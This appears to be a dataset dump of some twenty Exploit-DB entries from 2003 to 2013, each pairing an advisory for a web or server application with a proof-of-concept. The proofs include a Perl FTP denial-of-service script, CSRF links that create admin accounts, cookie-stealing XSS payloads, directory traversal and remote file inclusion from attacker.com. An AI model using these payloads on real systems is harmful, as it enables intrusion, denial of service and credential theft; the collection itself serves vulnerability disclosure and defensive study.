QLWD/code_shield huggingface dataset:
标题: phlyLabs phlyMail Lite 4.03.04 - 'go' Open Redirect EDB-ID: 24086 CVE: 2013-5123 2013-4266 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-13 漏洞利用脚本: phlyLabs phlyMail Lite 4.03.04 (go param) Open Redirect Vulnerability


Vendor: phlyLabs
Product web page: http://www.phlymail.com
Affected version: Lite 4.03.04

Summary: phlyMail offers you an interface in the browser to have access
to your emails, contacts, appointments, tasks, files and bookmakrs from
anyhwere, where you have internet access. This can be your home, workplace,
train station, abroad, offroad, in the woods or your own backyard.

Desc: Input passed via the 'go' parameter in 'derefer.php' script is not
properly verified before being used to redirect users. This can be exploited
to redirect a user to an arbitrary website e.g. when a user clicks a specially
crafted link to the affected script hosted on a trusted domain.


-----------------------------------------------------------------------
/frontend/derefer.php:
----------------------

33: if (!isset($_REQUEST['go'])) exit;
34: $go = preg_replace('!\r|\n|\t!', '', $_REQUEST['go']);
35: if (strlen($go) == 0) exit;
36: if (!preg_match('!^(http://|https://|ftp://)!', $go) && $go{0} != '/') $go = 'http://'.$go;
37:
38: header('Location: '.$go);
39: exit;

-----------------------------------------------------------------------


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5123
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5123.php


13.01.2013

--

http://localhost/frontend/derefer.php?go=zeroscience.mk URL: https://www.exploit-db.com/exploits/24086
标题: Titan FTP Server 3.0 - 'LIST' Denial of Service EDB-ID: 24080 CVE: 2004-0437 类型: DOS 平台: WINDOWS 发布日期: 2004-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/10272/info

Titan FTP is prone to a remote denial of service vulnerability when handling the 'LIST' command.

A remote attacker can cause the FTP server to crash by improperly handling a non-existent socket.

#!/usr/bin/perl
# Test for Titan FTP server security vulnerability

use IO::Socket;

$host = "192.168.1.243";

my @combination;
$combination[0] = "LIST \r\n";

for (my $i = 0; $combination[$i] ; $i++)
{
 print "Combination: $1\n";

 $remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2112",
     );
 unless ($remote) { die "cannot connect to ftp daemon on $host" }

 print "connected\n";
 while (<$remote>)
 {
  print $_;
  if (/220 /)
  {
   last;
  }
 }

 $remote->autoflush(1);

 my $ftp = "USER anonymous\r\n";

 print $remote $ftp;
 print $ftp;

 while (<$remote>)
 {
  print $_;
  if (/331 /)
  {
   last;
  }
 }

 $ftp = "PASS a\@b.com\r\n";
 print $remote $ftp;
 print $ftp;
 
 while (<$remote>)
 {
  print $_;
  if (/230 /)
  {
   last;
  }
 }
 
 $ftp = $combination[$i];

 print $remote $ftp;
 print $ftp;

 while (<$remote>)
 {
  print $_;
  if (/150 /)
  {
   last;
  }
 

 close $remote;
} URL: https://www.exploit-db.com/exploits/24080
标题: PHPX 3.x - '/user.php' Cross-Site Request Forgery / Arbitrary Command Execution EDB-ID: 24090 CVE: 2004-2364 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10284/info
  
It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.
  
This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/user.php?action=delete&user_id=[VID] URL: https://www.exploit-db.com/exploits/24090
标题: PHPX 3.x - '/news.php' Cross-Site Request Forgery / Arbitrary Command Execution EDB-ID: 24089 CVE: 2004-2364 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10284/info
 
It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.
 
This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/news.php?action=delete&news_id=[VID] URL: https://www.exploit-db.com/exploits/24089
标题: PHPX 3.x - '/page.php' Cross-Site Request Forgery / Arbitrary Command Execution EDB-ID: 24088 CVE: 2004-2364 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10284/info

It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.

This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

http://www.example.com/admin/page.php?action=delete&page_id=[VID] URL: https://www.exploit-db.com/exploits/24088
标题: E-Zone Media FuzeTalk 2.0 - 'AddUser.cfm' Administrator Command Execution EDB-ID: 24081 CVE: 2004-1995 类型: WEBAPPS 平台: CFM 发布日期: 2004-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10276/info

It has been reported that FuseTalk is affected by an administrator command execution vulnerability in the adduser.cfm script. This issue is due to a failure of the application to properly validate the origin of user supplied data.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed by a forum administrator, the attacker supplied command would be carried out with the viewer's privileges. This would occur in the security context of the affected web site and may allow creation of arbitrary users, and other attacks.

http://www.example.com/admin/adduser.cfm?FTVAR_FIRSTNAMEFRM=God&FTVAR_LASTNAMEFRM=God&FTVAR_EMAILADDRESSFRM=Attacker@acker.com&FTVAR_USERNAMEFRM=attacker&FTVAR_PASSWORDFRM=coolpass&FTVAR_PASSWORD2FRM=coolpass&FTVAR_USERFORUMSFRM=0&FTVAR_USERTYPEFRM=g&FTVAR_USERLEVELFRM=0&FTVAR_STATUSFRM=1&FTVAR_CITYFRM=&FTVAR_STATEFRM=70&FTVAR_COUNTRYFRM=36&FTVAR_SCRIPTRUN=self.close%28%29%3B&FTVAR_RETURNERROR=Yes&FT_ACTION=adduser URL: https://www.exploit-db.com/exploits/24081
标题: Sambar Server 5.x - Open Proxy / Authentication Bypass EDB-ID: 24076 CVE: 2003-1286 类型: REMOTE 平台: WINDOWS 发布日期: 2003-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10256/info

Sambar improperly validates the IP address of an originating connection and can be used to gain access the administration interface without authorization.

Once the remote attacker has gained access to the administrative interface, further attacks are possible, including privilege escalation and unauthorized system access.

-> GET / HTTP/1.1
Connection: keep-alive
*This is valid web server request. It's granted.

<- Sambar default web page

*Because the connection is keep-alive it's not broken after page is sent.

-> GET http://www.example.com HTTP/1.1

*This is valid proxy requests. This time source IP is not validated, because connection was established before

<- Web page from external site
*Sambar proxies our request. URL: https://www.exploit-db.com/exploits/24076
标题: Business Objects Crystal Reports 9/10 Web Form Viewer - Directory Traversal EDB-ID: 24077 CVE: 2004-0204 类型: REMOTE 平台: WINDOWS 发布日期: 2004-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/10260/info

Crystal Reports and Crystal Enterprise Web Form Viewer is prone to a directory traversal vulnerability. This issue can allow an attacker to retrieve and delete files, allowing for information disclosure and denial of service attacks.

An attacker can exploit this issue by sending directory traversal sequences and requesting a file through a vulnerable parameter of one of the affected modules. 

Microsoft Visual Studio .NET 2003, Outlook 2003 with Business Contact Manager, and Business Solutions CRM 1.2 are also vulnerable to this issue as Microsoft re-distributes Crystal Reports.

http://www.example.com/crystalreportviewers/crystalimagehandler.aspx?dynamicimage=..\..\..\..\..\mydocuments\private\passwords.txt URL: https://www.exploit-db.com/exploits/24077
标题: Simple Machines Forum (SMF) 1.0 - Size Tag HTML Injection EDB-ID: 24082 CVE: 2004-1996 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10281/info

It has been reported that Simple Machines Forum (SMF) may be prone to an HTML injection vulnerability that may allow an attacker to execute arbitrary HTML or script code in a user's browser. The issue exists due to insufficient sanitization of user-supplied input via the font size attribute.

Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible.

An attacker could reportedly post content to the forums containing:

[size=expression(alert(document.cookie))]Content[/size]

With the limit that the forum software filters out quotes, apostrophes and semicolons.

Another method that circumvents the software filtering would be to post content such as:

[size=expression(eval(unescape(document.URL.substring(document.URL.length-34,document.URL.length))))]Content[/size]

then get the victim to follow:

http://www.example.com/index.php?topic=12345.0&alert('cookie:\n'+document.cookie)

Where the '12345.0' is the topic containing the previously posted content. The victim's browser would execute the last 34 characters (as specified in the previously posted 'length-34' content). URL: https://www.exploit-db.com/exploits/24082
标题: PHPX 3.x - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24083 CVE: 2004-2363 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10283/info

It has been reported that PHPX is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/forums.php?forum_id=[VID]&limit=25%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]&topic_id=[VID]&limit=15%3Ciframe%3E
http://www.example.com/users.php?action=&limit=100%3Ciframe%3E
http://www.example.com/users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?action=post&forum_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?action=search&search_id=[VID]&limit=25%3E%3Ciframe%3E
http://www.example.com/users.php?action=email&user_id=%3E%3Ciframe%3E
http://www.example.com/users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]&topic_id=[VID]&limit=%3E%3Ciframe%3E
http://www.example.com/forums.php?action=post&forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
http://www.example.com/news.php?news_id=[VID]%3E%3Ciframe%3E
http://www.example.com/forums.php?forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E URL: https://www.exploit-db.com/exploits/24083
标题: Coppermine Photo Gallery 1.2.0 RC4 - 'startdir' Traversal Arbitrary File Access EDB-ID: 24073 CVE: 2004-1986 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10253/info
 
Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.
 
Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

http://www.example.com/nuke72/modules.php?name=coppermine&file=searchnew&startdir=../.. URL: https://www.exploit-db.com/exploits/24073
标题: Coppermine Photo Gallery 1.2.2b - 'menu.inc.php' Cross-Site Scripting EDB-ID: 24072 CVE: 2004-1985 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10253/info

Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands. 

Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

http://www.example.com/nuke72/modules/coppermine/docs/menu.inc.php?CPG_URL=foobar"><body%20onload=alert(document.cookie);> URL: https://www.exploit-db.com/exploits/24072
标题: SquirrelMail 1.4.x - Folder Name Cross-Site Scripting EDB-ID: 24068 CVE: 2004-0519 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10246/info

It has been reported that SquirrelMail is affected by a cross-site scripting vulnerability in the handling of folder name displays. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamic web content.

This issue may allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/mail/src/compose.php?mailbox=">&lt;script&gt;window.alert(document.cookie)&lt;/script&gt; URL: https://www.exploit-db.com/exploits/24068
标题: Coppermine Photo Gallery 1.2.0 RC4 - 'init.inc.php' Remote File Inclusion EDB-ID: 24074 CVE: 2004-1988 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10253/info
  
Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.
  
Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

http://www.example.com/nuke69j1/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://attacker.com URL: https://www.exploit-db.com/exploits/24074
标题: Microsoft Internet Explorer 6 - Meta Data Foreign Domain Spoofing EDB-ID: 24069 CVE: 2004-0763 类型: REMOTE 平台: WINDOWS 发布日期: 2004-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10248/info

A vulnerability has been reported in Microsoft Internet Explorer that may facilitate certificate spoofing. This issue could aid in attacks which falsify web content to victim users.

The cause of the vulnerability is that it is possible to embed a certificate and content from a foreign domain (via SSL) into a web page. When the web page is visited by the client user, the user will be prompted to authorize the certificate from the foreign domain. This will make it appear as though the web page they are visiting is in the foreign domain.

It should be noted that while the connection will appear to be secure, as denoted by the closed lock icon in the right bottom corner of the browser window, the spoofed certicate may not be manually inspected (by clicking the lock icon). The browser will return a message stating that the document does not have a certificate associated with it when the lock is clicked by the user. This may give an indication that the certificate has been spoofed.

This vulnerability may be exploited to entice a user to trust a hostile web page.

This issue has been reported in Microsoft Internet Explorer 6. Earlier versions may also be affected.


< html>
< head>
< title>Your Page Title</title>
< meta http-equiv="REFRESH"
content="0;url=https://www.example.com/">

< META HTTP-EQUIV="Content-Type" CONTENT="text/html;">

< /HEAD>
< BODY onUnload='window.location=""'>

< /BODY>
< /HTML> URL: https://www.exploit-db.com/exploits/24069
标题: Coppermine Photo Gallery 1.2.2b - 'theme.php' Remote File Inclusion EDB-ID: 24075 CVE: 2004-1989 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10253/info
   
Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.
   
Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

http://www.example.com/nuke72/modules/coppermine/themes/default/theme.php?THEME_DIR=http://attacker.com 
http://www.example.com/nuke72/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://attacker.com 
http://www.example.com/nuke72/modules/coppermine/themes/maze/theme.php?THEME_DIR=http://attacker.com URL: https://www.exploit-db.com/exploits/24075
标题: Moodle 1.1/1.2 - Cross-Site Scripting EDB-ID: 24071 CVE: 2004-1978 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10251/info

It has been reported that Moodle is susceptible to a cross-site scripting vulnerability in the 'help.php' script. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamic web content.

This issue may allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/help.php?text={XSS} URL: https://www.exploit-db.com/exploits/24071
标题: DiGi WWW Server 1 - Remote Denial of Service EDB-ID: 24066 CVE: 2004-1973 类型: DOS 平台: MULTIPLE 发布日期: 2004-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/10228/info

The DiGi WWW Server has been reported to contain a remote denial of service vulnerability. It has been reported that when the server receives a malformed HTTP GET request, the web server process will consume large amounts of CPU resources.

Since this is a web server application, this leads to a remotely exploitable denial of service vulnerability.

GET ///[660Kb of /]/// HTTP/1.1

to a vulnerable server would demonstrate the effect. URL: https://www.exploit-db.com/exploits/24066
标题: OpenBB 1.0.x - Private Message Disclosure EDB-ID: 24061 CVE: 2004-1968 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10217/info

It has been reported that OpenBB is affected by a private message disclosure vulnerability. This issue is due to a design error that fails to validate user credentials.

This issue might allow an attacker to read arbitrary private messages posted to the bulletin board; limiting confidentiality.

http:/www.example.com/forum/myhome.php?action=readmsg&id=[message_id]&box=inbox URL: https://www.exploit-db.com/exploits/24061
标题: OpenBB 1.0.x - 'board.php?FID' SQL Injection EDB-ID: 24056 CVE: 2004-1966 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10214/info
    
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
    
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
    
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/board.php?FID=1[SQL] URL: https://www.exploit-db.com/exploits/24056
标题: OpenBB 1.0.x - 'index.php?redirect' Cross-Site Scripting EDB-ID: 24055 CVE: 2004-1965 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10214/info
   
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
   
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
   
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/index.php?redirect=[XSS] URL: https://www.exploit-db.com/exploits/24055
标题: OpenBB 1.0.x - 'post.php?TID' Cross-Site Scripting EDB-ID: 24054 CVE: 2004-1965 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10214/info
  
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
  
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
  
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/post.php?action=mail&TID=1[XSS] URL: https://www.exploit-db.com/exploits/24054